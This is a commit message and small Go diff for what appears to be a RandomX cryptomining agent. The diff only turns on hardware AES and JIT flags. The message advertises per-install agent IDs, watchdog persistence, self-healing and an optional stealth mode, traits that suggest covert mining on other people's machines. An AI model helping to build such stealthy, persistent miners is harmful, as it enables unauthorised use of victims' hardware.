Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/miner/engine.go

@@ -10,6 +10,9 @@ import (
 const nonceOffset = 39
 const nonceSize = 4
 
+// RandomX JIT + hardware AES for best hashrate on supported CPUs.
+const randomxFlags = 10 // RANDOMX_FLAG_HARD_AES (2) | RANDOMX_FLAG_JIT (8)
+
 type Engine struct {
 	mu        sync.RWMutex
 	cache     *randomx.Randomx_Cache
@@ -19,7 +22,7 @@ type Engine struct {
 }
 
 func NewEngine() *Engine {
-	cache := randomx.Randomx_alloc_cache(0)
+	cache := randomx.Randomx_alloc_cache(randomxFlags)
 	return &Engine{cache: cache}
 }